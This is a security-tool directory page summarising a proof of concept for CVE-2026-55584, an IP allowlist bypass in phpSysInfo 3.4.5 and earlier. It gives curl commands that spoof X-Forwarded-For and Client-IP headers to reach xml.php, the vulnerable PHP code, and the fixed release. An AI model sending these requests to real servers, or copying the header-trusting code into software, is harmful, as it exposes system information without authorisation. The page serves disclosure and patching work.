Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/mirackayikci/cve-2026-55584
Authentication & AuthorizationVulnerability AnalysisExploitationWeb SecurityPenetration TestingMisconfiguration
GitHubmirackayikci/cve-2026-55584

CVE-2026-55584

CVE-2026-55584 — phpSysInfo IP Allowlist Bypass

View Repository
12 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-55584 - phpSysInfo IP Allowlist Bypass

CWE-290, CVSS 7.5 (High), phpSysInfo <= 3.4.5

Refs: GHSA-786w-p5pm-cvgh, CVE.org

PSI_ALLOWED resolves the client IP from the attacker-controlled X-Forwarded-For (then Client-IP) headers before falling back to REMOTE_ADDR. There is no trusted-proxy concept, so spoofing an allowed IP defeats the allowlist and exposes full system info via xml.php.

PoC:

root@kitploit:~
# allowlist set to an address the attacker doesn't own (ALLOWED=8.8.8.8)
curl -s http://target/xml.php                                # "Client IP address (...) not allowed."
curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php  # bypass, full XML
curl -s -H "Client-IP: 8.8.8.8"       http://target/xml.php  # bypass, full XML

Vulnerable code (read_config.php):

root@kitploit:~
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
    $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} elseif (isset($_SERVER["HTTP_CLIENT_IP"])) {
    $ip = $_SERVER["HTTP_CLIENT_IP"];
} else {
    $ip = $_SERVER["REMOTE_ADDR"];   // only trustworthy source, checked last
}

Fixed 3.4.6 (019fa2d): default to REMOTE_ADDR; honor X-Forwarded-For / Client-IP only from configured trusted proxies.

Reported by Muhammed Mirac Kayıkci

Download Tool